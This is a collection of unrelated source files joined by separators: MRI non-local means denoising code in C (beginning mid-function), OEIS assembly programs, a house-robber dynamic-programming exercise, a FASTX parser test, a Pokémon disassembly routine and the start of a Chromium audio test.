ans = ax*(0.5+y*(0.87890594+y*(0.51498869+y*(0.15084934+y*(0.2658733e-1+y*(0.301532e-2+y*0.32411e-3))))));
} else {
y = 3.75/ax;
ans = 0.2282967e-1+y*(-0.2895312e-1+y*(0.1787654e-1-y*0.420059e-2));
ans = 0.39894228+y*(-0.3988024e-1+y*(-0.362018e-2+y*(0.163801e-2+y*(-0.1031555e-1+y*ans))));
ans *= (exp(ax)/sqrt(ax));
}
return x < 0.0 ? -ans : ans;
}
double Epsi(double snr)
{
double val;
val=2 + snr*snr - (pi/8)*exp(-(snr*snr)/2)*((2+snr*snr)*bessi0((snr*snr)/4) + (snr*snr)*bessi1((snr*snr)/4))*((2+snr*snr)*bessi0((snr*snr)/4) + (snr*snr)*bessi1((snr*snr)/4));
if (val < 0.001) val = 1;
if (val > 10) val = 1;
return val;
}
// Function which compute the weighted average for one block
void Average_block(double *ima, int x, int y, int z, int neighborhoodsize, double *average, double weight, int sx, int sy, int sz, bool rician)
{
int x_pos, y_pos, z_pos;
bool is_outside;
int a, b, c, ns, sxy, count;
ns = 2*neighborhoodsize+1;
sxy = sx*sy;
count = 0;
for (c = 0; c < ns; c++) {
for (b = 0; b < ns; b++) {
for (a = 0; a < ns; a++) {
is_outside = false;
x_pos = x+a-neighborhoodsize;
y_pos = y+b-neighborhoodsize;
z_pos = z+c-neighborhoodsize;
if ((z_pos < 0) || (z_pos > sz-1)) is_outside = true;
if ((y_pos < 0) || (y_pos > sy-1)) is_outside = true;
if ((x_pos < 0) || (x_pos > sx-1)) is_outside = true;
if (rician) {
if (is_outside) {
average[count] = average[count] + ima[z*(sxy)+(y*sx)+x]*ima[z*(sxy)+(y*sx)+x]*weight;
} else {
average[count] = average[count] + ima[z_pos*(sxy)+(y_pos*sx)+x_pos]*ima[z_pos*(sxy)+(y_pos*sx)+x_pos]*weight;
}
} else {
if (is_outside) {
average[count] = average[count] + ima[z*(sxy)+(y*sx)+x]*weight;
} else {
average[count] = average[count] + ima[z_pos*(sxy)+(y_pos*sx)+x_pos]*weight;
}
}
count++;
}
}
}
}
// Function which computes the value assigned to each voxel
void Value_block(double *Estimate, double *Label, int x, int y, int z, int neighborhoodsize, double *average, double global_sum, int sx, int sy, int sz)
{
int x_pos, y_pos, z_pos;
bool is_outside;
double value = 0.0;
double label = 0.0;
double denoised_value = 0.0;
int count = 0;
int a, b, c, ns, sxy;
ns = 2*neighborhoodsize + 1;
sxy = sx*sy;
for (c = 0; c < ns; c++) {
for (b = 0; b < ns; b++) {
for (a = 0; a < ns; a++) {
is_outside = false;
x_pos = x+a-neighborhoodsize;
y_pos = y+b-neighborhoodsize;
z_pos = z+c-neighborhoodsize;
if ((z_pos < 0) || (z_pos > sz-1)) is_outside = true;
if ((y_pos < 0) || (y_pos > sy-1)) is_outside = true;
if ((x_pos < 0) || (x_pos > sx-1)) is_outside = true;
if (!is_outside) {
value = Estimate[z_pos*(sxy)+(y_pos*sx)+x_pos];
value = value + (average[count]/global_sum);
label = Label[(x_pos + y_pos*sx + z_pos*sxy)];
Estimate[z_pos*(sxy)+(y_pos*sx)+x_pos] = value;
Label[(x_pos + y_pos*sx + z_pos *sxy)] = label +1;
}
count++;
}
}
}
}
double distance(double* ima, int x, int y, int z, int nx, int ny, int nz, int f, int sx, int sy, int sz)
{
double d, acu, distancetotal;
int i, j, k, ni1, nj1, ni2, nj2, nk1, nk2;
distancetotal = 0;
for (k = -f; k <= f; k++) {
nk1 = z+k;
nk2 = nz+k;
if (nk1 < 0) nk1=-nk1;
if (nk2 < 0) nk2=-nk2;
if (nk1 >= sz) nk1=2*sz-nk1-1;
if (nk2 >= sz) nk2=2*sz-nk2-1;
for (j = -f; j <= f; j++) {
nj1 = y+j;
nj2 = ny+j;
if (nj1 < 0) nj1=-nj1;
if (nj2 < 0) nj2=-nj2;
if (nj1 >= sy) nj1=2*sy-nj1-1;
if (nj2 >= sy) nj2=2*sy-nj2-1;
for (i = -f; i <= f; i++) {
ni1 = x+i;
ni2 = nx+i;
if (ni1 < 0) ni1=-ni1;
if (ni2 < 0) ni2=-ni2;
if (ni1 >= sx) ni1=2*sx-ni1-1;
if (ni2 >= sx) ni2=2*sx-ni2-1;
distancetotal = distancetotal + ((ima[nk1*(sx*sy)+(nj1*sx)+ni1] - ima[nk2*(sx*sy)+(nj2*sx)+ni2]) *
(ima[nk1*(sx*sy)+(nj1*sx)+ni1] - ima[nk2*(sx*sy)+(nj2*sx)+ni2]));
}
}
}
acu = (2*f+1)*(2*f+1)*(2*f+1);
d = distancetotal/acu;
return d;
}
double distance2(double* ima,double * medias, int x, int y, int z, int nx, int ny, int nz, int f, int sx, int sy, int sz)
{
double d, acu, distancetotal;
int i, j, k, ni1, nj1, ni2, nj2, nk1, nk2;
acu = 0;
distancetotal = 0;
for (k = -f; k <= f; k++) {
nk1 = z+k;
nk2 = nz+k;
if (nk1 < 0) nk1 = -nk1;
if (nk2 < 0) nk2 = -nk2;
if (nk1 >= sz) nk1 = 2*sz-nk1-1;
if (nk2 >= sz) nk2 = 2*sz-nk2-1;
for (j = -f; j <= f; j++) {
nj1 = y+j;
nj2 = ny+j;
if (nj1 < 0) nj1 = -nj1;
if (nj2 < 0) nj2 = -nj2;
if (nj1 >= sy) nj1 = 2*sy-nj1-1;
if (nj2 >= sy) nj2 = 2*sy-nj2-1;
for (i = -f; i <= f; i++) {
ni1 = x+i;
ni2 = nx+i;
if (ni1 < 0) ni1 = -ni1;
if (ni2 < 0) ni2 = -ni2;
if (ni1 >= sx) ni1 = 2*sx-ni1-1;
if (ni2 >= sx) ni2 = 2*sx-ni2-1;
d = (ima[nk1*(sx*sy)+(nj1*sx)+ni1] - medias[nk1*(sx*sy)+(nj1*sx)+ni1]) -
(ima[nk2*(sx*sy)+(nj2*sx)+ni2] - medias[nk2*(sx*sy)+(nj2*sx)+ni2]);
distancetotal = distancetotal + d*d;
}
}
}
acu = (2*f+1)*(2*f+1)*(2*f+1);
d = distancetotal/acu;
return d;
}
void Regularize(double* in, double * out, int r, int sx, int sy, int sz)
{
double acu;
int ind, i, j, k, ni, nj, nk, ii, jj, kk;
double* temp = (double*)calloc(sx*sy*sz, sizeof(double));
// separable convolution
for (k = 0; k < sz; k++)
for (j = 0; j < sy; j++)
for (i = 0; i < sx; i++)
{
if (in[k*(sx*sy)+(j*sx)+i] == 0) {
continue;
}
acu = 0;
ind = 0;
for (ii = -r; ii <= r; ii++) {
ni = i+ii;
if (ni < 0) ni = -ni;
if (ni >= sx) ni = 2*sx-ni-1;
if (in[k*(sx*sy)+(j*sx)+ni] > 0) {
acu+=in[k*(sx*sy)+(j*sx)+ni];
ind++;
}
}
if (ind == 0) ind = 1;
out[k*(sx*sy)+(j*sx)+i] = acu/ind;
}
for (k = 0; k < sz; k++)
for (j = 0; j < sy; j++)
for (i = 0; i < sx; i++)
{
if (out[k*(sx*sy)+(j*sx)+i] == 0) {
continue;
}
acu = 0;
ind = 0;
for (jj = -r; jj <= r; jj++) {
nj = j+jj;
if (nj < 0) nj = -nj;
if (nj >= sy) nj = 2*sy-nj-1;
if (out[k*(sx*sy)+(nj*sx)+i] > 0) {
acu += out[k*(sx*sy)+(nj*sx)+i];
ind++;
}
}
if (ind == 0) {
ind = 1;
}
temp[k*(sx*sy)+(j*sx)+i] = acu/ind;
}
for (k = 0; k < sz; k++)
for (j = 0; j < sy; j++)
for (i = 0; i < sx; i++)
{
if (temp[k*(sx*sy)+(j*sx)+i] == 0) {
continue;
}
acu = 0;
ind = 0;
for (kk = -r; kk <= r; kk++) {
nk = k+kk;
if (nk < 0) nk = -nk;
if (nk >= sz) nk = 2*sz-nk-1;
if (temp[nk*(sx*sy)+(j*sx)+i] > 0) {
acu += temp[nk*(sx*sy)+(j*sx)+i];
ind++;
}
}
if (ind == 0) {
ind = 1;
}
out[k*(sx*sy)+(j*sx)+i] = acu/ind;
}
free(temp);
}
#ifdef _WIN32
unsigned __stdcall ThreadFunc(void* pArguments)
#else
void* ThreadFunc(void* pArguments)
#endif
{
double *bias, *Estimate, *Label, *ima, *means, *variances, *average, epsilon, mu1, var1, totalweight, wmax, t1, t1i, t2, d, w, distanciaminima;
int rows, cols, slices, ini, fin, v, f, init, i, j, k, rc, ii, jj, kk, ni, nj, nk, Ndims;
bool rician;
double max_val;
myargument arg;
arg = *(myargument*)pArguments;
rows = arg.rows;
cols = arg.cols;
slices = arg.slices;
ini = arg.ini;
fin = arg.fin;
ima = arg.in_image;
means = arg.means_image;
variances = arg.var_image;
Estimate = arg.estimate;
bias = arg.bias;
Label = arg.label;
v = arg.radioB;
f = arg.radioS;
rician = arg.rician;
max_val = arg.max_val;
// filter
epsilon = 0.00001;
mu1 = 0.95;
var1 = 0.5;
init = 0;
rc = rows*cols;
Ndims = (2*f+1)*(2*f+1)*(2*f+1);
average = (double*)malloc(Ndims*sizeof(double));
wmax = 0.0;
for (k = ini; k < fin; k += 2)
for (j = 0; j < rows; j += 2)
for (i = 0; i < cols; i += 2)
{
// init
for (init = 0; init < Ndims; init++) {
average[init] = 0.0;
}
totalweight = 0.0;
distanciaminima = 100000000000000;
if (ima[k*rc+(j*cols)+i] > 0 && (means[k*rc+(j*cols)+i]) > epsilon && (variances[k*rc+(j*cols)+i] > epsilon)) {
// calculate minimum distance
for (kk = -v; kk <= v; kk++) {
nk = k+kk;
for (jj = -v; jj <= v; jj++) {
nj = j+jj;
for (ii = -v; ii <= v; ii++) {
ni = i+ii;
if (ii == 0 && jj == 0 && kk == 0) {
continue;
}
if (ni >= 0 && nj >= 0 && nk >= 0 && ni < cols && nj < rows && nk < slices) {
if (ima[nk*rc+(nj*cols)+ni] > 0 && (means[nk*(rc)+(nj*cols)+ni]) > epsilon && (variances[nk*rc+(nj*cols)+ni] > epsilon)) {
t1 = (means[k*rc+(j*cols)+i])/(means[nk*rc+(nj*cols)+ni]);
t1i = (max_val-means[k*(rc)+(j*cols)+i])/(max_val-means[nk*(rc)+(nj*cols)+ni]);
t2 = (variances[k*rc+(j*cols)+i])/(variances[nk*rc+(nj*cols)+ni]);
if ((t1 > mu1 && t1 < (1/mu1)) || (t1i > mu1 && t1i < (1/mu1)) && t2 > var1 && t2 < (1/var1)) {
d = distance2(ima, means, i, j, k, ni, nj, nk, f, cols, rows, slices);
if (d < distanciaminima) {
distanciaminima = d;
}
}
}
}
}
}
}
if (distanciaminima == 0) {
distanciaminima = 1;
}
// rician correction
if (rician) {
for (kk = -f; kk <= f; kk++) {
nk = k+kk;
for (ii = -f; ii <= f; ii++) {
ni = i+ii;
for (jj = -f; jj <= f; jj++) {
nj = j+jj;
if (ni>=0 && nj>=0 && nk>=0 && ni<cols && nj<rows && nk<slices) {
if (distanciaminima == 100000000000000) {
bias[nk*(rc)+(nj*cols)+ni] = 0;
} else {
bias[nk*(rc)+(nj*cols)+ni] = (distanciaminima);
}
}
}
}
}
}
// block filtering
for (kk = -v; kk <= v; kk++) {
nk = k+kk;
for (jj = -v; jj <= v; jj++) {
nj = j+jj;
for (ii = -v; ii <= v; ii++) {
ni = i+ii;
if (ii == 0 && jj == 0 && kk == 0) {
continue;
}
if (ni>=0 && nj>=0 && nk>=0 && ni<cols && nj<rows && nk<slices) {
if (ima[nk*rc+(nj*cols)+ni] > 0 && (means[nk*(rc)+(nj*cols)+ni]) > epsilon && (variances[nk*rc+(nj*cols)+ni] > epsilon)) {
t1 = (means[k*rc+(j*cols)+i])/(means[nk*rc+(nj*cols)+ni]);
t1i = (max_val-means[k*(rc)+(j*cols)+i])/(max_val-means[nk*(rc)+(nj*cols)+ni]);
t2 = (variances[k*rc+(j*cols)+i])/(variances[nk*rc+(nj*cols)+ni]);
if ((t1>mu1 && t1<(1/mu1)) || (t1i>mu1 && t1i<(1/mu1)) && t2>var1 && t2<(1/var1)) {
d = distance(ima, i, j, k, ni, nj, nk, f, cols, rows, slices);
if (d > 3*distanciaminima) {
w = 0;
} else {
w = exp(-d/distanciaminima);
}
if (w > wmax) {
wmax = w;
}
if (w > 0) {
Average_block(ima, ni, nj, nk, f, average, w, cols, rows, slices, rician);
totalweight = totalweight + w;
}
}
}
}
}
}
}
if (wmax == 0.0) {
wmax = 1.0;
}
Average_block(ima, i, j, k, f, average, wmax, cols, rows, slices, rician);
totalweight = totalweight + wmax;
Value_block(Estimate, Label, i, j, k, f, average, totalweight, cols, rows, slices);
} else {
wmax = 1.0;
Average_block(ima, i, j, k, f, average, wmax, cols, rows, slices, rician);
totalweight = totalweight + wmax;
Value_block(Estimate, Label, i, j, k, f, average, totalweight, cols, rows, slices);
}
}
#ifdef _WIN32
_endthreadex(0);
#else
pthread_exit(0);
#endif
return 0;
}
void version()
{
printf("==========================================================================\n");
printf("naonlm3d\n");
printf(" Adaptive Non-Local Means Denoising of MR Images with\n");
printf(" Spatially Varying Noise Levels\n");
printf("\n");
#ifdef SW_VER
printf(" Version %s\n", SW_VER);
#endif
#ifdef SW_REV
printf(" Revision %s\n", SW_REV);
#endif
printf("\n");
printf(" Developed by Jose V. Manjon and Pierrick Coupe\n");
printf(" Modified by Dongjin Kwon\n");
printf("==========================================================================\n");
}
void usage()
{
printf("\n");
printf("Options:\n\n");
printf("-i (--input ) [input_image_file] : input image file (input)\n");
printf("-o (--output ) [output_image_file] : output image file (output)\n");
printf("-t (--thread ) [integer] : number of threads (default=1, option)\n");
printf("-v (--search ) [integer] : radius of the 3D search area (default=3, option)\n");
printf("-f (--patch ) [integer] : radius of the 3D patch used to compute similarity (default=1, option)\n");
printf("-r (--rician ) [1 or 0] : 1 (default) if apply rician noise estimation, 0 otherwise (option)\n");
printf("\n");
printf("-h (--help ) : print this help\n");
printf("-u (--usage ) : print this help\n");
printf("-V (--version) : print version info\n");
printf("\n");
printf("Usage:\n\n");
printf("naonlm3d -i [input_image_file] -o [output_image_file]\n");
}
int main(int argc, char* argv[])
{
char input_image[1024] = {0,};
char output_image[1024] = {0,};
int param_w = 3;
int param_f = 1;
int Nthreads = 1;
bool rician = true;
// parse command line
{
int i;
if (argc == 1) {
printf("use option -h or --help for help\n");
exit(EXIT_FAILURE);
}
if (argc == 2) {
if (strcmp(argv[1], "-h") == 0 || strcmp(argv[1], "--help") == 0) {
version();
usage();
exit(EXIT_FAILURE);
} else if (strcmp(argv[1], "-u") == 0 || strcmp(argv[1], "--usage") == 0) {
version();
usage();
exit(EXIT_FAILURE);
} else if (strcmp(argv[1], "-V") == 0 || strcmp(argv[1], "--version") == 0) {
version();
exit(EXIT_FAILURE);
} else {
printf("error: wrong arguments\n");
printf("use option -h or --help for help\n");
exit(EXIT_FAILURE);
}
}
for (i = 1; i < argc; i++) {
if (argv[i] == NULL || argv[i+1] == NULL) {
printf("error: not specified argument\n");
printf("use option -h or --help for help\n");
exit(EXIT_FAILURE);
}
if (strcmp(argv[i], "-i" ) == 0 || strcmp(argv[i], "--input" ) == 0) { sprintf(input_image , "%s", argv[i+1]); i++;
} else if (strcmp(argv[i], "-o" ) == 0 || strcmp(argv[i], "--output") == 0) { sprintf(output_image, "%s", argv[i+1]); i++;
} else if (strcmp(argv[i], "-t" ) == 0 || strcmp(argv[i], "--thread") == 0) {
Nthreads = atoi(argv[i+1]);
i++;
}else if (strcmp(argv[i], "-w" ) == 0 || strcmp(argv[i], "--search") == 0) {
param_w = atoi(argv[i+1]);
i++;
} else if (strcmp(argv[i], "-f" ) == 0 || strcmp(argv[i], "--patch" ) == 0) {
param_f = atoi(argv[i+1]);
i++;
} else if (strcmp(argv[i], "-r" ) == 0 || strcmp(argv[i], "--rician") == 0) {
if (atoi(argv[i+1]) == 0) {
rician = false;
} else {
rician = true;
}
} else {
printf("error: %s is not recognized\n", argv[i]);
printf("use option -h or --help for help\n");
exit(EXIT_FAILURE);
}
}
//
if (input_image[0] == 0 || output_image[0] == 0) {
printf("error: essential arguments are not specified\n");
printf("use option -h or --help for help\n");
exit(EXIT_FAILURE);
}
}
double *ima, *fima, *average, *bias;
double *means, *variances, *Estimate, *Label;
double SNR, mean, var, label, estimate;
int Ndims, i, j, k, ii, jj, kk, ni, nj, nk, ndim, indice, ini, fin, r;
int dims0, dims1, dims2, dimsx;
double max_val;
myargument *ThreadArgs;
#ifdef _WIN32
HANDLE *ThreadList; // Handles to the worker threads
#else
pthread_t *ThreadList;
#endif
FVolume image;
if (!image.load(input_image, 1)) {
TRACE("ERROR: couldn't load the input image: %s", input_image);
exit(EXIT_FAILURE);
}
ndim = 3;
dims0 = image.m_vd_x;
dims1 = image.m_vd_y;
dims2 = image.m_vd_z;
dimsx = dims0 * dims1 *dims2;
Ndims = (int)pow((double)(2*param_f+1), ndim);
// allocate memory
ima = (double*)MyAlloc(dimsx * sizeof(double));
fima = (double*)MyAlloc(dimsx * sizeof(double));
means = (double*)MyAlloc(dimsx * sizeof(double));
variances = (double*)MyAlloc(dimsx * sizeof(double));
Estimate = (double*)MyAlloc(dimsx * sizeof(double));
Label = (double*)MyAlloc(dimsx * sizeof(double));
if (rician) {
bias = (double*)MyAlloc(dimsx * sizeof(double));
}
average = (double*)MyAlloc(Ndims * sizeof(double));
for (i = 0; i < dimsx;i++) {
Estimate[i] = 0.0;
Label[i] = 0.0;
fima[i] = 0.0;
if (rician) {
bias[i] = 0.0;
}
}
max_val = 0;
for (k = 0; k < dims2; k++) {
for (j = 0; j < dims1; j++) {
for (i = 0; i < dims0; i++) {
double val = (double)image.m_pData[k][j][i][0];
if (val > max_val) {
max_val = val;
}
ima[k*(dims0*dims1)+(j*dims0)+i] = val;
//
mean = 0;
indice = 0;
for (ii = -1; ii <= 1; ii++) {
for (jj = -1; jj <= 1; jj++) {
for (kk =-1; kk <= 1; kk++) {
ni = i+ii;
nj = j+jj;
nk = k+kk;
if (ni < 0) ni = -ni;
if (nj < 0) nj = -nj;
if (nk < 0) nk = -nk;
if (ni >= dims0) ni = 2*dims0-ni-1;
if (nj >= dims1) nj = 2*dims1-nj-1;
if (nk >= dims2) nk = 2*dims2-nk-1;
mean += image.m_pData[nk][nj][ni][0];
indice++;
}
}
}
mean = mean / indice;
means[k*(dims0*dims1)+(j*dims0)+i] = mean;
}
}
}
for (k = 0; k < dims2; k++) {
for (j = 0; j < dims1; j++) {
for (i = 0; i < dims0; i++) {
var = 0;
indice = 0;
for (ii = -1; ii <= 1; ii++) {
for (jj = -1; jj <= 1; jj++) {
for (kk = -1; kk <= 1; kk++) {
ni = i+ii;
nj = j+jj;
nk = k+kk;
//if (ni >= 0 && nj >= 0 && nk > 0 && ni < dims0 && nj < dims1 && nk < dims2) {
if (ni >= 0 && nj >= 0 && nk >= 0 && ni < dims0 && nj < dims1 && nk < dims2) {
var = var + (ima[nk*(dims0*dims1)+(nj*dims0)+ni] - means[k*(dims0*dims1)+(j*dims0)+i]) *
(ima[nk*(dims0*dims1)+(nj*dims0)+ni] - means[k*(dims0*dims1)+(j*dims0)+i]);
indice = indice+1;
}
}
}
}
var = var / (indice-1);
variances[k*(dims0*dims1)+(j*dims0)+i] = var;
}
}
}
#if defined(WIN32) || defined(WIN64)
// Reserve room for handles of threads in ThreadList
ThreadList = (HANDLE*)malloc(Nthreads * sizeof(HANDLE));
ThreadArgs = (myargument*)malloc(Nthreads * sizeof(myargument));
for (i = 0; i < Nthreads; i++)
{
// Make Thread Structure
ini = (i*dims2) / Nthreads;
fin = ((i+1)*dims2) / Nthreads;
ThreadArgs[i].cols = dims0;
ThreadArgs[i].rows = dims1;
ThreadArgs[i].slices = dims2;
ThreadArgs[i].in_image = ima;
ThreadArgs[i].var_image = variances;
ThreadArgs[i].means_image = means;
ThreadArgs[i].estimate = Estimate;
ThreadArgs[i].bias = bias;
ThreadArgs[i].label = Label;
ThreadArgs[i].ini = ini;
ThreadArgs[i].fin = fin;
ThreadArgs[i].radioB = param_w;
ThreadArgs[i].radioS = param_f;
ThreadArgs[i].rician = rician;
ThreadArgs[i].max_val = max_val;
ThreadList[i] = (HANDLE)_beginthreadex(NULL, 0, &ThreadFunc, &ThreadArgs[i], 0, NULL);
}
for (i = 0; i < Nthreads; i++) {
WaitForSingleObject(ThreadList[i], INFINITE);
}
for (i = 0; i < Nthreads; i++) {
CloseHandle(ThreadList[i]);
}
#else
// Reserve room for handles of threads in ThreadList
ThreadList = (pthread_t *)calloc(Nthreads, sizeof(pthread_t));
ThreadArgs = (myargument*)calloc(Nthreads, sizeof(myargument));
for (i = 0; i < Nthreads; i++) {
// Make Thread Structure
ini = (i*dims2) / Nthreads;
fin = ((i+1)*dims2) / Nthreads;
ThreadArgs[i].cols = dims0;
ThreadArgs[i].rows = dims1;
ThreadArgs[i].slices = dims2;
ThreadArgs[i].in_image = ima;
ThreadArgs[i].var_image = variances;
ThreadArgs[i].means_image = means;
ThreadArgs[i].estimate = Estimate;
ThreadArgs[i].bias = bias;
ThreadArgs[i].label = Label;
ThreadArgs[i].ini = ini;
ThreadArgs[i].fin = fin;
ThreadArgs[i].radioB = param_w;
ThreadArgs[i].radioS = param_f;
ThreadArgs[i].rician = rician;
ThreadArgs[i].max_val = max_val;
}
for (i = 0; i < Nthreads; i++) {
if (pthread_create(&ThreadList[i], NULL, ThreadFunc, &ThreadArgs[i])) {
TRACE("Threads cannot be created\n");
exit(EXIT_FAILURE);
}
}
for (i=0; i<Nthreads; i++) {
pthread_join(ThreadList[i], NULL);
}
#endif
free(ThreadArgs);
free(ThreadList);
if (rician) {
r = 5;
Regularize(bias, variances, r, dims0, dims1, dims2);
for (i = 0; i < dimsx; i++) {
if (variances[i] > 0) {
SNR = means[i] / sqrt(variances[i]);
bias[i] = 2*(variances[i] / Epsi(SNR));
#if defined(WIN32) || defined(WIN64)
if (_isnan(bias[i])) {
#else
if (isnan(bias[i])) {
#endif
bias[i] = 0;
}
}
}
}
// Aggregation of the estimators (i.e. means computation)
label = 0.0;
estimate = 0.0;
for (i = 0; i < dimsx; i++) {
label = Label[i];
if (label == 0.0) {
fima[i] = ima[i];
} else {
estimate = Estimate[i];
estimate = (estimate/label);
if (rician) {
estimate = (estimate-bias[i]) < 0 ? 0 : (estimate-bias[i]);
fima[i] = sqrt(estimate);
} else {
fima[i] = estimate;
}
}
}
// save output image
for (k = 0; k < dims2; k++) {
for (j = 0; j < dims1; j++) {
for (i = 0; i < dims0; i++) {
image.m_pData[k][j][i][0] = (float)fima[k*(dims0*dims1)+(j*dims0)+i];
}
}
}
image.save(output_image, 1);
if (!ChangeNIIHeader(output_image, input_image)) {
TRACE("ChangeNIIHeader failed\n");
}
//
// free memory
MyFree(ima);
MyFree(fima);
MyFree(means);
MyFree(variances);
MyFree(Estimate);
MyFree(Label);
if (rician) {
MyFree(bias);
}
MyFree(average);
exit(EXIT_SUCCESS);
}
|
; A177234: a(n) = binomial(n^2, n)/(n+1).
; 2,21,364,8855,278256,10737573,491796152,26088783435,1573664496040,106395830418878,7970714909592876,655454164338881388,58702034425556612832,5687847988198592380965,592867741295430227919600
add $0,2
mov $1,$0
pow $1,2
bin $1,$0
add $0,1
div $1,$0
mov $0,$1
|
/*A thief wants to loot houses and knows the amount of money in each house.
He cannot loot two consecutive houses.The following program returns the maximum amount of money he can loot.*/
//Time complexity: O(n^2); Constraints: 1 <= n <= 10^4
#include <bits/stdc++.h>
using namespace std;
int getMaxMoney(int arr[], int n){
int i;
int arr2[n+3];
if(n<3){
if(n==1){
return arr[0];
}else{
return max(arr[0],arr[1]);
}
}
arr2[0]=arr[0];
arr2[1]=arr[1];
for(i=2;i<n;i++){
arr2[i]=arr[i];
arr2[i]+=*max_element(arr2,arr2+i-1);
}return *max_element(arr2,arr2+n);
}
/* Driver program to test above functions */
int main(){
int arr1[] = {5, 5, 10, 100, 10, 5};
cout<<getMaxMoney(arr1,6)<<endl;
return 0;
} |
#include "FastxParser.hpp"
#include <iostream>
#include <thread>
#include <vector>
struct Bases {
uint32_t A, C, G, T;
};
int main(int argc, char* argv[]) {
if (argc == 1) {
std::cerr << "usage: test_parser fa1 fb1 ... fa2 fb2 ...";
return 1;
}
int numFiles = argc - 1;
if (numFiles % 2 != 0) {
std::cerr << "you must provide an even number of files!\n";
return 1;
}
size_t numPairs = numFiles / 2;
std::vector<std::string> files;
std::vector<std::string> files2;
for (size_t i = 1; i <= numPairs; ++i) {
files.push_back(argv[i]);
files2.push_back(argv[i + numPairs]);
}
size_t nt = 4;
size_t np = 2;
fastx_parser::FastxParser<fastx_parser::ReadPair> parser(files, files2, nt, np);
parser.start();
std::vector<std::thread> readers;
std::vector<Bases> counters(nt, {0, 0, 0, 0});
for (size_t i = 0; i < nt; ++i) {
readers.emplace_back([&, i]() {
auto rg = parser.getReadGroup();
while (true) {
if (parser.refill(rg)) {
for (auto& seqPair : rg) {
auto& seq = seqPair.first;
auto& seq2 = seqPair.second;
for (size_t j = 0; j < seq.seq.length(); ++j) {
char c = seq.seq[j];
switch (c) {
case 'A':
counters[i].A++;
break;
case 'C':
counters[i].C++;
break;
case 'G':
counters[i].G++;
break;
case 'T':
counters[i].T++;
break;
default:
break;
}
}
for (size_t j = 0; j < seq2.seq.length(); ++j) {
char c = seq2.seq[j];
switch (c) {
case 'A':
counters[i].A++;
break;
case 'C':
counters[i].C++;
break;
case 'G':
counters[i].G++;
break;
case 'T':
counters[i].T++;
break;
default:
break;
}
}
}
} else {
break;
}
}
});
}
for (auto& t : readers) {
t.join();
}
parser.stop();
Bases b = {0, 0, 0, 0};
for (size_t i = 0; i < nt; ++i) {
b.A += counters[i].A;
b.C += counters[i].C;
b.G += counters[i].G;
b.T += counters[i].T;
}
std::cerr << "\n#A = " << b.A << '\n';
std::cerr << "#C = " << b.C << '\n';
std::cerr << "#G = " << b.G << '\n';
std::cerr << "#T = " << b.T << '\n';
return 0;
}
|
Name: ys_w56.asm
Type: file
Size: 11155
Last-Modified: '2016-05-13T04:51:43Z'
SHA-1: 21B6B55474E2507917FE3B312A755829B5F92A4A
Description: null
|
; A133462: a(n+1)-10a(n)=3(-3, -2, -1, 0, 1, 2, 3, 4, 5 ...).
; 1,1,4,37,370,3703,37036,370369,3703702,37037035,370370368,3703703701,37037037034,370370370367,3703703703700,37037037037033,370370370370366,3703703703703699,37037037037037032,370370370370370365
sub $0,1
lpb $0
sub $0,1
add $2,1
add $3,$2
mov $1,$3
mul $3,10
lpe
mul $1,3
add $1,1
mov $0,$1
|
; A112849: Number of congruence classes (epimorphisms/vertex partitionings induced by graph endomorphisms) of undirected cycles of even length: |C(C_{2*n})|.
; 1,4,11,36,127,463,1717,6436,24311,92379,352717,1352079,5200301,20058301,77558761,300540196,1166803111,4537567651,17672631901,68923264411,269128937221,1052049481861,4116715363801,16123801841551,63205303218877,247959266474053,973469712824057,3824345300380221,15033633249770521,59132290782430713,232714176627630545,916312070471295268,3609714217008132871,14226520737620288371,56093138908331422717,221256270138418389603,873065282167813104917,3446310324346630677301,13608507434599516007801,53753604366668088230811,212392290424395860814421,839455243105945545123661,3318776542511877736535401,13124252690842425594480901,51913710643776705684835561,205397724721029574666088521,812850570172585125274307761,3217533506933149454210801551,12738806129490428451365214301,50445672272782096667406248629,199804427433372226016001220057,791532924062974587678774064069,3136262529306125724764953838761,12428892245768720464809261509161,49263609265046928387789436527217,195295022443578894680165266232893,774327632846470705223111406467257,3070609578529107968988200404956361,12178349853827309571919303301013361,48307454420181661301946569760686329,191645966716130525165099506263706417,760401738905937245009910944207609329
mov $1,$0
trn $0,1
add $0,2
mul $1,2
add $1,1
bin $1,$0
mov $0,$1
add $0,1
|
_ScrollTrainerPicAfterBattle:
; Load the enemy trainer's pic and scrolls it into
; the screen from the right.
xor a
ld [wEnemyMonSpecies2], a
ld b, SET_PAL_BATTLE
call RunPaletteCommand
callfar _LoadTrainerPic
hlcoord 19, 0
ld c, $0
.scrollLoop
inc c
ld a, c
cp 7
ret z
ld d, $0
push bc
push hl
.drawTrainerPicLoop
call DrawTrainerPicColumn
inc hl
ld a, 7
add d
ld d, a
dec c
jr nz, .drawTrainerPicLoop
ld c, 4
call DelayFrames
pop hl
pop bc
dec hl
jr .scrollLoop
; write one 7-tile column of the trainer pic to the tilemap
DrawTrainerPicColumn:
push hl
push de
push bc
ld e, 7
.loop
ld [hl], d
ld bc, SCREEN_WIDTH
add hl, bc
inc d
dec e
jr nz, .loop
pop bc
pop de
pop hl
ret
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "content/browser/renderer_host/media/audio_input_device_manager.h"
#include <stddef.h>
#include <memory>
#include <string>
#include "base/bind.h"
#include "base/bind_helpers.h"
#include "base/command_line.h"
#include "base/location.h"
#include "base/macros.h"
#include "base/memory/ref_counted.h"
#include "base/run_loop.h"
#include "base/single_thread_task_runner.h"
#include "base/threading/thread_task_runner_handle.h"
#include "build/build_config.h"
#include "content/public/common/media_stream_request.h"
#include "content/public/test/test_browser_thread_bundle.h"
#include "media/audio/audio_system_impl.h"
#include "media/audio/audio_thread_impl.h"
#include "media/audio/mock_audio_manager.h"
#include "media/base/media_switches.h"
#include "media/base/test_helpers.h"
#include "testing/gmock/include/gmock/gmock.h"
#include "testing/gtest/include/gtest/gtest.h"
using testing::InSequence;
namespace content {
class MockAudioInputDeviceManagerListener
: public MediaStreamProviderListener {
public:
MockAudioInputDeviceManagerListener() {}
~MockAudioInputDeviceManagerListener() override {}
MOCK_METHOD2(Opened, void(MediaStreamType, const int));
MOCK_METHOD2(Closed, void(MediaStreamType, const int));
MOCK_METHOD2(Aborted, void(MediaStreamType, int));
private:
DISALLOW_COPY_AND_ASSIGN(MockAudioInputDeviceManagerListener);
};
// TODO(henrika): there are special restrictions for Android since
// AudioInputDeviceManager::Open() must be called on the audio thread.
// This test suite must be modified to run on Android.
#if defined(OS_ANDROID)
